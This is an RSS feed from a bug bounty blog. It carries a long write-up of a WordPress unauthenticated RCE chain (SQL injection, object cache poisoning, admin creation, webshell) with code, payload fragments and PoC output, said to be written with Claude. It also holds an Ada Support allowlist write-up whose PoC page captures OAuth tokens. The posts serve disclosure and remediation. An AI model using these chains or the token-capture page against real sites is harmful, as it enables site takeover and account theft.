<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Yoeri Vegt]]></title><description><![CDATA[My Bug Bounty adventures!]]></description><link>https://yoerivegt.com/</link><image><url>https://yoerivegt.com/favicon.png</url><title>Yoeri Vegt</title><link>https://yoerivegt.com/</link></image><generator>Ghost 5.79</generator><lastBuildDate>Sat, 18 Jul 2026 19:36:44 GMT</lastBuildDate><atom:link href="https://yoerivegt.com/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[WP2Shell]]></title><description><![CDATA[<h1 id="wordpress-core-unauthenticated-rce">Wordpress Core unauthenticated RCE</h1><p><em>A technical walkthrough of the wp2shell chain, where two small bugs in the WordPress REST API turn into unauthenticated remote code execution on a default install. Original discovery by Adam Kues and Patrik Grobsh&#xE4;user at Assetnote. The proof of concept discussed here was built</em></p>]]></description><link>https://yoerivegt.com/wp2shell/</link><guid isPermaLink="false">6a5b3a100519ed0a32225215</guid><dc:creator><![CDATA[Yoeri Vegt]]></dc:creator><pubDate>Sat, 18 Jul 2026 19:04:45 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1783866273493-49a257ddd59b?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wxMTc3M3wwfDF8YWxsfDM1fHx8fHx8fHwxNzg0NDAxNDc0fA&amp;ixlib=rb-4.1.0&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<h1 id="wordpress-core-unauthenticated-rce">Wordpress Core unauthenticated RCE</h1><img src="https://images.unsplash.com/photo-1783866273493-49a257ddd59b?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wxMTc3M3wwfDF8YWxsfDM1fHx8fHx8fHwxNzg0NDAxNDc0fA&amp;ixlib=rb-4.1.0&amp;q=80&amp;w=2000" alt="WP2Shell"><p><em>A technical walkthrough of the wp2shell chain, where two small bugs in the WordPress REST API turn into unauthenticated remote code execution on a default install. Original discovery by Adam Kues and Patrik Grobsh&#xE4;user at Assetnote. The proof of concept discussed here was built with Claude.</em></p><p>Credit first, because it matters. This chain is the work of <strong>Adam Kues</strong> and <strong>Patrik Grobsh&#xE4;user</strong> at <strong>Assetnote</strong>, the research arm of Searchlight Cyber. They named it <strong>wp2shell</strong>, reported it to WordPress, and put a checker up at <a href="https://wp2shell.com/?ref=yoerivegt.com">wp2shell.com</a>. This post is a technical breakdown of how the chain works, based on a proof of concept built with Claude to understand each step.</p><p>The short version: an unauthenticated attacker reaches remote code execution on a completely default WordPress install. No plugins, no non default config, no credentials. Just one published post, which every install has by default thanks to good old &quot;Hello World&quot;.</p><p>Worth calling out up front: most public PoCs at this time lean on a non default MySQL configuration, for example a setup that allows writing files to disk from the database. This chain does not. It works against a 100% default WordPress and MySQL configuration, which is exactly what makes it dangerous at scale.</p><p>Affected versions are WordPress 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1. It was patched in 6.9.5 and 7.0.2 on July 17, 2026. If you run WordPress, update first, then read on.</p><p>Fair warning, this one is long. The chain has a lot of moving parts.</p><p>Proof of Concept is hosted on Github: <a href="https://github.com/yoerivegt/wp2shell-poc?ref=yoerivegt.com">https://github.com/yoerivegt/wp2shell-poc</a></p><h2 id="the-two-ingredients">The two ingredients</h2><p>The chain starts with two vulnerabilities that feed into each other.</p><p>The first (CVE-2026-63030) is an array misalignment in the REST batch processor. It lets a sub request get dispatched through the wrong route handler. The second (CVE-2026-60137) is a SQL injection in <code>WP_Query</code> that only becomes reachable because of that misalignment.</p><p>On their own, one is a logic slip and the other is unreachable. Together they produce a pre auth SQL injection, and that is the foothold the rest of the chain builds on.</p><h3 id="bug-1-the-rest-batch-array-misalignment">Bug 1: the REST batch array misalignment</h3><p>The batch endpoint lives at <code>/wp-json/batch/v1</code>. It takes a list of sub requests and processes them together. Internally this happens in two phases: first it matches every sub request to a route handler, then it dispatches them.</p><p>Here is the route matching phase, simplified:</p><pre><code class="language-php">// Route-matching phase (simplified)
foreach ($requests as $single_request) {
    if (is_wp_error($single_request)) {
        $has_error    = true;
        $validation[] = $single_request;
        continue;                          // &lt;-- $matches[] is NOT appended
    }
    $match     = $this-&gt;match_request_to_handler($single_request);
    $matches[] = $match;                   // &lt;-- sequential append
    // ... validation ...
}
</code></pre><p>Note the <code>continue</code>. When a sub request path fails <code>wp_parse_url()</code>, it is recorded as a <code>WP_Error</code> and the loop skips ahead. It appends to <code>$validation[]</code> and then bails out before appending to <code>$matches[]</code>. So <code>$matches</code> ends up one entry shorter than <code>$requests</code>.</p><p>Now the dispatch phase:</p><pre><code class="language-php">// Dispatch phase
foreach ($requests as $i =&gt; $single_request) {
    if (is_wp_error($single_request)) {
        // ... handle error ...
        continue;
    }
    // ...
    $match = $matches[$i];                 // &lt;-- MISALIGNED: request index into shorter matches array
}
</code></pre><p>The dispatch loop walks <code>$requests</code> by index <code>$i</code> and reaches into <code>$matches</code> with that same <code>$i</code>. But <code>$matches</code> is missing the failed entries. Every failed parse shifts all following matches by one, so request number <code>$i</code> gets dispatched using the handler that was matched for request <code>$i+1</code>.</p><p>In other words, one malformed path acts as a desync primer. It bumps the whole handler list out of alignment, and the sub request right after it runs through the wrong route.</p><p>Here is what that looks like:</p><pre><code>Batch sub-requests:        Route matched:         Dispatched as:
&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;      &#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;         &#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;
[0] POST http://:          (WP_Error, skipped)    &#x2192; error response
[1] GET  /wp/v2/widgets    $matches[0] = widgets  &#x2192; $matches[1] = posts handler
[2] GET  /wp/v2/posts      $matches[1] = posts    &#x2192; $matches[2] = next handler
</code></pre><p>Sub request [1] asks for <code>/wp/v2/widgets</code>, but thanks to the shift it actually runs through the <code>/wp/v2/posts</code> handler. The reason widgets and posts matter specifically is bug number two.</p><h3 id="bug-2-the-sql-injection-hiding-in-authornotin">Bug 2: the SQL injection hiding in author__not_in</h3><p>The posts collection has a parameter called <code>author_exclude</code>. The posts schema defines it strictly as an array of integers, so normally it is safe. WordPress runs every element through <code>absint()</code>.</p><p>Here is the relevant code in <code>WP_Query::get_posts()</code>:</p><pre><code class="language-php">if (!empty($query_vars[&apos;author__not_in&apos;])) {
    if (is_array($query_vars[&apos;author__not_in&apos;])) {
        // Array path: each element gets absint() &#x2014; SAFE
        $query_vars[&apos;author__not_in&apos;] = array_unique(array_map(&apos;absint&apos;, $query_vars[&apos;author__not_in&apos;]));
    }
    // String path: cast to (array) wraps the whole string as one element &#x2014; NO SANITIZATION
    $author__not_in = implode(&apos;,&apos;, (array) $query_vars[&apos;author__not_in&apos;]);
    $where .= &quot; AND {$wpdb-&gt;posts}.post_author NOT IN ($author__not_in) &quot;;
}
</code></pre><p>Look at the <code>is_array()</code> guard. The <code>absint()</code> sanitization only runs when the value is an array. If <code>author__not_in</code> arrives as a plain string, the guard fails, the string skips sanitization entirely, and it lands inside a <code>NOT IN (...)</code> SQL clause with no parameterization and no escaping.</p><p>Getting a string in there when the schema demands an array is where the two bugs meet. The widgets endpoint has <code>author_exclude</code> in its schema too, but the widgets schema is looser and accepts it as a raw string. So a widgets sub request carries <code>author_exclude</code> as a string, passes the widgets validation because that is legal for widgets, and then the batch misalignment dispatches it through the posts handler. The posts handler reads <code>author_exclude</code>, maps it to <code>WP_Query</code>&apos;s <code>author__not_in</code>, and drops the raw string into SQL.</p><p>The validation checked one schema. The dispatch used a different handler. That is the whole trick.</p><p>Since the value lands inside <code>NOT IN (...)</code>, closing the parenthesis lets arbitrary SQL follow:</p><pre><code>author_exclude=999) UNION ALL SELECT ... -- -
</code></pre><p>That is a pre authentication SQL injection on a stock WordPress install.</p><h2 id="from-sqli-to-admin">From SQLi to admin</h2><p>A read only SQL injection is already serious, since it exposes the whole database. Reaching RCE needs an administrator account, without knowing any existing credentials. The chain builds one by making WordPress attack itself, using its own object cache, oEmbed system, Customizer, and a hook that collides with the REST router.</p><p>A quick primer first. WordPress keeps a per request object cache. When <code>WP_Query</code> runs, it stores the rows it read so later calls to <code>get_post($id)</code> in the same request do not hit the database again. That cache is what gets poisoned below.</p><h3 id="step-1-seeding-real-database-rows-with-oembed">Step 1: seeding real database rows with oEmbed</h3><p>A UNION injection can invent fake rows in query results, but those fakes only live in the object cache. Several steps of the chain need to write to real database rows, so the chain first creates a few real rows with known IDs.</p><p>WordPress is its own oEmbed provider. If a post contains an <code>[embed]</code> shortcode pointing at a URL on the same site, WordPress fetches that URL over loopback and caches the result as an <code>oembed_cache</code> post, which is a real row in <code>wp_posts</code>.</p><p>So a trigger post is injected whose content holds three embed shortcodes pointing back at the site, each with a different fragment so they get unique cache keys:</p><pre><code>[embed width=&quot;500&quot; height=&quot;750&quot;]http://target/hello-world/#nonce0[/embed]
[embed width=&quot;500&quot; height=&quot;750&quot;]http://target/hello-world/#nonce1[/embed]
[embed width=&quot;500&quot; height=&quot;750&quot;]http://target/hello-world/#nonce2[/embed]
</code></pre><p>Rendering that post through the REST API with <code>context=view</code> makes WordPress process the shortcodes, producing three fresh <code>oembed_cache</code> rows. Their IDs are pulled back out with the SQL injection, and each gets a role in the &quot;poison graph&quot;:</p>
<!--kg-card-begin: html-->
<table>
<thead>
<tr>
<th>Role</th>
<th>Post ID</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>changeset_id</code></td>
<td>oEmbed cache #1</td>
<td>Real row that gets overwritten with a fake <code>customize_changeset</code></td>
</tr>
<tr>
<td><code>cache_id</code></td>
<td>oEmbed cache #2</td>
<td>Entry point, its oEmbed update kicks off the cascade</td>
</tr>
<tr>
<td><code>request_id</code></td>
<td>oEmbed cache #3</td>
<td>Real row that gets overwritten with <code>post_type=request</code>, <code>post_status=parse</code></td>
</tr>
</tbody>
</table>
<!--kg-card-end: html-->
<h3 id="step-2-poisoning-the-object-cache">Step 2: poisoning the object cache</h3><p>A second batch request injects seven fake <code>wp_posts</code> rows via <code>UNION ALL SELECT</code>, each with the full 23 column schema. When <code>WP_Query</code> processes the UNION results, WordPress calls <code>update_post_cache()</code>, which calls <code>wp_cache_add_multiple()</code>, and every fake row gets stored in the object cache under the <code>posts</code> group. From that point on, any <code>get_post($id)</code> for those IDs returns the fake data instead of querying the database.</p><p>The important properties:</p><ul><li><code>changeset_id</code> and <code>outer_id</code> form one circular parent chain. <code>changeset_id</code> is a real oEmbed row, <code>outer_id</code> is a fake high ID that only exists in cache.</li><li><code>request_id</code> and <code>inner_id</code> form a second circular parent chain. <code>request_id</code> is also a real oEmbed row.</li><li><code>cache_id</code> points its parent at <code>changeset_id</code>, linking the oEmbed update path to the first loop.</li><li><code>nav_item_id</code> points its parent at <code>request_id</code>, linking the changeset save path to the second loop.</li><li><code>changeset_id</code> is typed as <code>customize_changeset</code> with status <code>future</code>, and its content holds a Customizer payload with a <code>nav_menu_item</code> setting whose <code>user_id</code> is the real administrator&apos;s ID.</li><li><code>request_id</code> is typed as <code>request</code> with status <code>parse</code>.</li></ul><p>Two circular chains, two triggers, one goal.</p><h3 id="step-3-springing-the-first-hierarchy-loop">Step 3: springing the first hierarchy loop</h3><p>The trigger post&apos;s second embed maps to <code>cache_id</code>. When WordPress processes that cached embed, it calls <code>wp_update_post(cache_id)</code> to refresh the timestamp.</p><p><code>wp_update_post()</code> reads the post from the poisoned cache and sees <code>post_parent=changeset_id</code>. Inside <code>wp_insert_post()</code> the <code>wp_insert_post_parent</code> filter fires, which runs <code>wp_check_post_hierarchy_for_loops()</code>. That walker follows the parent chain through the poisoned cache:</p><pre><code>cache_id &#x2192; parent: changeset_id &#x2192; parent: outer_id &#x2192; parent: changeset_id &#x2192; LOOP DETECTED
</code></pre><p>Here is the key behavior. WordPress fixes the loop by calling <code>wp_update_post()</code> on every member to zero out its parent:</p><pre><code class="language-php">foreach (array_keys($loop) as $loop_member) {
    wp_update_post(array(&apos;ID&apos; =&gt; $loop_member, &apos;post_parent&apos; =&gt; 0));
}
</code></pre><p>So the loop breaker calls <code>wp_update_post(changeset_id)</code>. It reads the poisoned cache, sees <code>post_type=customize_changeset</code> and <code>post_status=future</code>, and because <code>changeset_id</code> is a real database row, the UPDATE sticks. WordPress then computes the effective status. Because <code>post_date</code> is set to <code>2020-01-01</code>, which is in the past, the <code>future</code> status silently flips to <code>publish</code>:</p><pre><code class="language-php">if (&apos;future&apos; === $post_status) {
    if (time() &gt; strtotime($post_date_gmt)) {
        $post_status = &apos;publish&apos;;
    }
}
</code></pre><p>That produces a genuine <code>future</code> to <code>publish</code> transition on a Customizer changeset. WordPress believes a scheduled changeset came due.</p><h3 id="step-4-the-admin-identity-switch-through-the-customizer">Step 4: the admin identity switch through the Customizer</h3><p>A <code>future</code> to <code>publish</code> transition on a changeset fires <code>_wp_customize_publish_changeset()</code>. This function reads the changeset content (poisoned cache again), finds the <code>nav_menu_item</code> setting with the administrator&apos;s <code>user_id</code>, and starts publishing settings. Here is what it does for each one:</p><pre><code class="language-php">$original_user_id = get_current_user_id();
foreach ($changeset_setting_ids as $setting_id) {
    $setting = $this-&gt;get_setting($setting_id);
    if ($setting) {
        if (isset($setting_user_ids[$setting_id])) {
            wp_set_current_user($setting_user_ids[$setting_id]);  // &#x2190; SWITCH TO ADMIN
        }
        $setting-&gt;save();
    }
}
wp_set_current_user($original_user_id);  // &#x2190; RESTORE (too late if re-entry happened)
</code></pre><p><code>wp_set_current_user()</code> switches the running PHP process to the targeted administrator before saving the setting. This is intentional, since it preserves the original author&apos;s capabilities during a scheduled publish. But this is happening inside a live unauthenticated request, and the process is now running as admin. The restore only fires after <code>$setting-&gt;save()</code> returns, so the goal is to never let it return until the damage is done.</p><h3 id="step-5-springing-the-second-loop-mid-save">Step 5: springing the second loop mid save</h3><p>When <code>$setting-&gt;save()</code> processes the <code>nav_menu_item</code> setting, it calls <code>wp_update_nav_menu_item()</code>, which calls <code>wp_update_post(nav_item_id)</code>.</p><p>The poisoned cache says <code>nav_item_id</code>&apos;s parent is <code>request_id</code>, the hierarchy check runs, and it hits the second loop:</p><pre><code>nav_item_id &#x2192; parent: request_id &#x2192; parent: inner_id &#x2192; parent: request_id &#x2192; LOOP DETECTED
</code></pre><p>The loop breaker calls <code>wp_update_post(request_id)</code>. Real row again, so the write sticks, and <code>request_id</code> becomes <code>post_type=request</code>, <code>post_status=parse</code>. All of this while the process still holds the admin identity, because <code>$setting-&gt;save()</code> has not returned yet.</p><h3 id="step-6-the-hook-collision-that-re-enters-the-rest-api">Step 6: the hook collision that re-enters the REST API</h3><p>This is the piece that makes the whole thing click. After that update, WordPress fires its dynamic status transition hook:</p><pre><code class="language-php">do_action(&quot;{$new_status}_{$post-&gt;post_type}&quot;, $post-&gt;ID, $post);
</code></pre><p>Plug in the values. <code>$new_status</code> is <code>parse</code> and <code>post_type</code> is <code>request</code>, so this becomes:</p><pre><code class="language-php">do_action(&apos;parse_request&apos;, $post_id, $post);
</code></pre><p><code>parse_request</code> is not an obscure custom hook. It is a core routing action, and <code>rest_api_loaded()</code> is registered on it:</p><pre><code class="language-php">function rest_api_loaded() {
    if (empty($GLOBALS[&apos;wp&apos;]-&gt;query_vars[&apos;rest_route&apos;])) {
        return;
    }
    $server = rest_get_server();
    $route = untrailingslashit($GLOBALS[&apos;wp&apos;]-&gt;query_vars[&apos;rest_route&apos;]);
    $server-&gt;serve_request($route);
    die();
}
</code></pre><p>The request is already inside a REST call, so <code>rest_route</code> is still set to <code>/batch/v1</code>. <code>rest_api_loaded()</code> sees it and calls <code>serve_request()</code> again. That is a nested REST dispatch, running inside the first one, still carrying the administrator identity because the restore in step 4 has not fired.</p><p>A post type and status whose names collide into a core hook made WordPress re enter its own router.</p><h3 id="step-7-creating-the-administrator">Step 7: creating the administrator</h3><p>The nested dispatch re processes the batch, including the tail sub requests stuffed at the end. One of those is a plain <code>POST /wp/v2/users</code> asking for an administrator role.</p><p>Under the nested dispatch, <code>current_user_can(&apos;create_users&apos;)</code> returns true, because the process is the admin. WordPress creates the account. Then the <code>die()</code> at the end of <code>rest_api_loaded()</code> kills the process before the identity restore can run, but the user is already in the database.</p><p>An unauthenticated request comes in, admin credentials come out.</p><h3 id="step-8-admin-to-shell">Step 8: admin to shell</h3><p>The rest is standard WordPress admin to RCE. With the new account the exploit logs into <code>wp-login.php</code>, uploads a plugin zip containing a token gated webshell, runs OS commands as the web server user, then removes the plugin directory to clean up.</p><h2 id="poc">PoC</h2><p>The full chain running end to end:</p><pre><code>$ python3 wp2shell.py http://target:9993 --cmd &quot;id&quot;
  Phase 1: Confirm Pre-Auth SQL Injection
  [+] SQL injection confirmed (union mode)
  Phase 2: Extract DB Info + Seed oEmbed Cache
  [+] Table: `wp_posts` (prefix: `wp_`)
  [+] Admin ID: 1
  [+] Backing IDs: changeset=5, cache=6, request=7
  Phase 3: Cache Poisoning &#x2192; Admin User Creation
  [+] Batch returned HTTP 207
  Phase 4: Login + RCE
  [+] Authenticated!
  [+] Webshell deployed
  uid=33(www-data) gid=33(www-data) groups=33(www-data)
</code></pre><p>Proof of Concept is hosted on Github: <a href="https://github.com/yoerivegt/wp2shell-poc?ref=yoerivegt.com">https://github.com/yoerivegt/wp2shell-poc</a></p><p>Tested and confirmed on:</p>
<!--kg-card-begin: html-->
<table>
<thead>
<tr>
<th>Environment</th>
<th>PHP Version</th>
<th>WordPress Version</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>Debian (Apache)</td>
<td>PHP 7.4.33</td>
<td>WordPress 6.9</td>
<td>RCE as <code>www-data</code></td>
</tr>
<tr>
<td>Debian (Apache)</td>
<td>PHP 8.3.32</td>
<td>WordPress 6.9</td>
<td>RCE as <code>www-data</code></td>
</tr>
</tbody>
</table>
<!--kg-card-end: html-->
<h2 id="what-the-chain-needs-to-work">What the chain needs to work</h2><p>Not much, which is the concerning part.</p><ul><li>WordPress 6.9.0 to 6.9.4 or 7.0.0 to 7.0.1, unpatched</li><li>Default configuration, no extra plugins or hardening</li><li>A MySQL backend, since the <code>UNION ALL SELECT</code> needs column count parity with <code>wp_posts</code></li><li>At least one published post, and the default &quot;Hello World&quot; post is enough</li><li>The server able to reach itself over loopback for the oEmbed fetch, which is the default basically everywhere</li></ul><p>Note the difference from most public PoCs floating around at this time. Those typically require a non default MySQL setup, for example one that permits writing files to disk (<code>FILE</code> privilege, <code>secure_file_priv</code>, and so on) to drop a webshell straight from the database. This chain needs none of that. It escalates purely through WordPress&apos;s own object cache and hook behavior, so a stock WordPress on a stock MySQL is enough.</p><h2 id="impact">Impact</h2><p>An unauthenticated remote attacker can create an administrator account and run arbitrary commands as the web server user. That is full compromise of the WordPress site, and depending on the host, potentially the server it runs on. CVSS 9.8, network reachable, low complexity, no privileges required.</p><h2 id="root-cause">Root cause</h2><p>The trigger is one tiny data structure mismatch. In <code>serve_batch_request_v1()</code>, the <code>$requests</code>, <code>$matches</code>, and <code>$validation</code> arrays grow at different rates when a sub request fails URL parsing. The <code>continue</code> skips the <code>$matches[]</code> append but not the <code>$validation[]</code> one, so request indices and handler indices drift apart.</p><p>That single off by N shift breaks the whole security model of the batch endpoint. Every sub request is validated against its own route&apos;s schema, but if it then gets dispatched through a different route&apos;s handler, that validation means nothing. A widgets request passes widgets validation, then runs through the posts handler and drops an unsanitized string into <code>WP_Query</code>.</p><p>The jump from SQL injection to RCE leans on four WordPress behaviors that are each reasonable on their own:</p><ol><li>UNION injected rows poison the object cache, because <code>update_post_cache()</code> uses add semantics and the fakes survive the rest of the request.</li><li>Hierarchy loop detection calls <code>wp_update_post()</code> on loop members, which reads the poisoned cache and writes attacker data to real rows.</li><li>Changeset publishing calls <code>wp_set_current_user()</code> before saving each setting, which is intentional but dangerous when triggered mid request.</li><li>Dynamic hooks can collide with core hooks. The <code>{$status}_{$post_type}</code> pattern lets <code>post_status=parse</code> plus <code>post_type=request</code> fire the core <code>parse_request</code> action, which re enters the REST dispatcher.</li></ol><p>None of these is a vulnerability by itself. Chained, they are a pre auth RCE. The scariest bugs are rarely one big hole, they are a handful of sensible decisions lined up in exactly the wrong order.</p><h2 id="remediation">Remediation</h2><p>If you run WordPress, the fix is boring and effective: update to 6.9.5 or 7.0.2. The patch realigns the batch arrays so a failed sub request no longer shifts the handlers of the ones after it, which shuts the front door and takes the entire chain with it.</p><p>For anyone maintaining similar code, two takeaways. Never index one array with the loop counter of another array that can grow at a different rate. And never assume a value validated against one schema will be consumed by the handler you expected, especially in a batching or routing layer.</p><h2 id="outro">Outro</h2><p>This chain starts with a bug you could miss in a code review in half a second, a single misplaced <code>continue</code>, and it ends with WordPress logging itself in as admin and running commands. Object cache, oEmbed, the Customizer, and a hook name collision, all turned into weapons.</p><p>Full credit for the discovery goes to Adam Kues and Patrik Grobsh&#xE4;user at Assetnote and Searchlight Cyber.</p><hr><p><em>Disclaimer: this post was written by Claude, and the proof of concept was built with Claude, based on the original wp2shell discovery by Adam Kues and Patrik Grobsh&#xE4;user at Assetnote and Searchlight Cyber.</em></p>]]></content:encoded></item><item><title><![CDATA[Abuse of misconfigured Ada support widget iFrame Allowlist leads to oAuth Token leakage]]></title><description><![CDATA[This blog details a flaw in Ada Support’s iframe allowlist where an unclaimed domain was still trusted. Attackers could register it, embed the real support chat, steal OAuth tokens and transcripts, and fully compromise sessions. It stresses monitoring allowlist domains to prevent such risks.]]></description><link>https://yoerivegt.com/abuse-of-misconfigured-ada-support-iframe-allowlist-leads-to-oauth-token-leakage/</link><guid isPermaLink="false">68a0876d0519ed0a3222519f</guid><category><![CDATA[hackerone]]></category><category><![CDATA[bug]]></category><category><![CDATA[Bug Bounty]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Yoeri Vegt]]></dc:creator><pubDate>Wed, 27 Aug 2025 13:26:04 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1754901350791-04eff8b6289c?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wxMTc3M3wwfDF8YWxsfDExfHx8fHx8fHwxNzU1MzUxMDQ3fA&amp;ixlib=rb-4.1.0&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<h2 id="introduction">Introduction</h2><img src="https://images.unsplash.com/photo-1754901350791-04eff8b6289c?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wxMTc3M3wwfDF8YWxsfDExfHx8fHx8fHwxNzU1MzUxMDQ3fA&amp;ixlib=rb-4.1.0&amp;q=80&amp;w=2000" alt="Abuse of misconfigured Ada support widget iFrame Allowlist leads to oAuth Token leakage"><p>During a recent bug bounty session of testing a support chat system, I discovered a misconfiguration in the Ada Support iframe allowlist. This issue could be exploited to steal OAuth tokens and sensitive user data.</p><p>Ada Support allows companies to embed its AI-powered chat widget on their websites via <code>embed2.js</code>. To prevent abuse, Ada Support uses an iframe allowlist that defines which domains can embed a particular company&#x2019;s support chat. </p><p>Unfortunately, one of the domains in this allowlist was left unclaimed, making it possible for an attacker to register the domain and host a malicious proof-of-concept (PoC).</p><h2 id="vulnerability-overview">Vulnerability Overview</h2><p>The chat widget in question was tied to an e-commerce platform&#x2019;s customer support system. By registering the unclaimed domain <code>randomdomainname123.com</code>, it became possible to:</p><ol><li>Embed the official Ada Support widget on the attacker-controlled domain.</li><li>Trick users into interacting with the real customer support chat.</li><li>Capture OAuth access tokens, refresh tokens, and chat transcripts once the user authenticated via the legitimate login flow.</li></ol><p>Since the chat system integrates directly with the company&#x2019;s oauth login system, this allowed full takeover of a victim&#x2019;s authenticated session.</p><h2 id="proof-of-concept">Proof of Concept</h2><p>A PoC was hosted on the claimed domain:</p><p><code>http://randomdomainname123.com/poc.html</code>:</p><pre><code class="language-html">&lt;!doctype html&gt;
&lt;html&gt;
  &lt;head&gt;
    &lt;meta charset=&quot;utf-8&quot; /&gt;
    &lt;title&gt;Ada PoC&lt;/title&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot; /&gt;
    &lt;style&gt;body{font-family:system-ui,Arial,sans-serif;margin:2rem}&lt;/style&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;h1&gt;Ada PoC on claimed domain&lt;/h1&gt;
    &lt;p&gt;This page loads the target&#x2019;s Ada web chat.&lt;/p&gt;

    &lt;!-- Ada Embed2 loader (use the exact snippet from Installation tab) --&gt;
    &lt;script id=&quot;ada-config&quot; data-nscript=&quot;afterInteractive&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;//static.ada.support/embed2.js&quot; async=&quot;true&quot; id=&quot;__ada&quot; data-handle=&quot;[company-name]&quot; data-nscript=&quot;afterInteractive&quot;&gt;&lt;/script&gt;
    &lt;script&gt;
        window.adaSettings = window.adaSettings || {};
        window.adaSettings.adaReadyCallback = () =&gt; {
                window.adaEmbed.subscribeEvent(&quot;ada:end_conversation&quot;, (data, context) =&gt; {
                        console.log(&quot;The conversation has been ended by the user.&quot;);
                        console.log(&quot;Chatter ID: &quot;, data.chatter_id);
                        console.log(&quot;Chat Data: &quot;, data.event_data);
                        console.log(&quot;Chat Transcript: &quot;, data.event_data.chatter_transcript);
                        document.body.innerText = JSON.stringify(data.event_data, null, 2);
                });
        };
    &lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;
</code></pre><p>As you can see, when the ada support chat is closed, the chat data (<code>data.event_data</code>) is dumped to the console. This event data contains the oauth authentication bearer tokens.</p><h3 id="steps-to-reproduce">Steps to Reproduce:</h3><ol><li>Navigate to the PoC URL.</li><li>Start a support chat as a &#x201C;normal&#x201D; user.</li><li>When prompted to log in (via the OAuth flow), complete the login process.</li><li>After ending the chat, sensitive data such as <strong>access tokens</strong>, <strong>refresh tokens</strong>, and <strong>chat transcripts</strong> were logged to the console and displayed in the page&#x2019;s innerHTML for easy demonstration.</li></ol><p>This effectively bypassed intended protections by leveraging Ada&#x2019;s trust in an outdated/unmonitored allowlist domain.</p><p>The dumped object with the access tokens looked something like this, where the access token and id token were authentication tokens for my target:</p><pre><code class="language-json">{
  &quot;user_data&quot;: {
    &quot;all_data&quot;: {
      &quot;initialurl&quot;: &quot;http://randomdomainname123.com/poc.html&quot;,
      &quot;access_token&quot;: &quot;eyJh...&quot;,
      &quot;id_token&quot;: &quot;eyJh...&quot;,
      &quot;refresh_token&quot;: &quot;0d...&quot;,
      &quot;auth_token_type&quot;: &quot;Bearer&quot;,
      &quot;auth_scope&quot;: &quot;[&apos;openid&apos;, &apos;profile&apos;, &apos;email&apos;, &apos;offline_access&apos;]&quot;
    },
    &quot;event_name&quot;: &quot;END_CONVERSATION&quot;
  }
}</code></pre><h2 id="technical-details">Technical Details</h2><h3 id="allowed-domains-leak">Allowed Domains Leak</h3><p>Ada Support provides a JSON configuration endpoint that shows the domains allowed to embed a given chat system. For this instance, the list was available at:</p><p><code>https://rollout.ada.support/[company-name]/client.json?ada_request_origin=embed</code><br></p><p>Searching within that configuration revealed:</p><pre><code class="language-json">&quot;allowed_domains&quot;: [
  &quot;company.com&quot;,
  &quot;alloweddomain.net&quot;,
  &quot;randomdomainname123.com&quot;,
  ...
]</code></pre><p>Since <code>randomdomainname123.com</code> was not owned by the company, it could be registered and exploited.</p><h3 id="conclusion">Conclusion</h3><p>By claiming an overlooked allowlist domain, attackers could steal access tokens and sensitive user data through a legitimate-appearing customer support chat.</p><p>Although exploiting this issue required several user interactions (visiting my site, engaging with the chat, and going through the login flow), I found the bug particularly interesting, as OAuth token leaks through third-party widgets isn&apos;t something I&apos;ve ever come across. By reporting this bug to some bug bounty programs, I&apos;ve earned a nice bit of cash.</p><p>Always monitor and verify the security of domains listed in allowlists. An expired or unclaimed entry may be all an attacker needs to compromise your users.</p>]]></content:encoded></item><item><title><![CDATA[Unveiling more attack surface using matching NS records]]></title><description><![CDATA[Discover hidden domains for bug bounty targets by analyzing NS records and using an API to lookup matching domains.]]></description><link>https://yoerivegt.com/unveiling-more-attack-surface-using-ns/</link><guid isPermaLink="false">674391b70519ed0a32225144</guid><category><![CDATA[DNS]]></category><category><![CDATA[ns]]></category><category><![CDATA[Attack surface]]></category><category><![CDATA[recon]]></category><category><![CDATA[Bug Bounty]]></category><category><![CDATA[web app]]></category><category><![CDATA[web hacking]]></category><category><![CDATA[bug]]></category><dc:creator><![CDATA[Yoeri Vegt]]></dc:creator><pubDate>Sun, 24 Nov 2024 21:00:00 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1730459024772-5eed9b324e90?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wxMTc3M3wwfDF8YWxsfDE0fHx8fHx8fHwxNzMyNDgyMjEwfA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1730459024772-5eed9b324e90?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wxMTc3M3wwfDF8YWxsfDE0fHx8fHx8fHwxNzMyNDgyMjEwfA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=2000" 